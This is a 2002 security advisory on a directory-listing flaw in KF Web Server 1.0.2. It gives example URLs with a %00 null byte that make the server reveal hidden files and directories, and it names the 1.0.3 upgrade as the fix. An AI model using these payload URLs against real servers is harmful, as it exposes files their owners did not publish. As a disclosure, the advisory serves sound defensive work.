8th Jul 2002 [SBWID-5515]
COMMAND
KF Web Server shows file and directory content
SYSTEMS AFFECTED
KF Web Server version 1.0.2
PROBLEM
Thanks to Arnaud Jacques aka scrap [webmaster@securiteinfo.com]
[http://www.securiteinfo.com] message :
If the requested URL contains a %00 after a directory name, then the
server shows all files in the directory content. A hacker can see all
hidden (non-HTML linked) files and directories on the server.
.oO Exploit Oo.
The exploit is really easy. You can do it with any browser Examples :
http://server_name/index.html : Normal use.
http://server_name/%00 : You get the vulnerability.
http://server_name/index.html%00 : Is *not* vulnerable.
http://server_name/%00index.html : You get the vulnerability. In fact everything after %00 is ignored.
http://server_name/subdir/%00 : You get the vulnerability.
SOLUTION
Upgrade to KF Web Server version 1.0.3
http://www.keyfocus.net/kfws/download/
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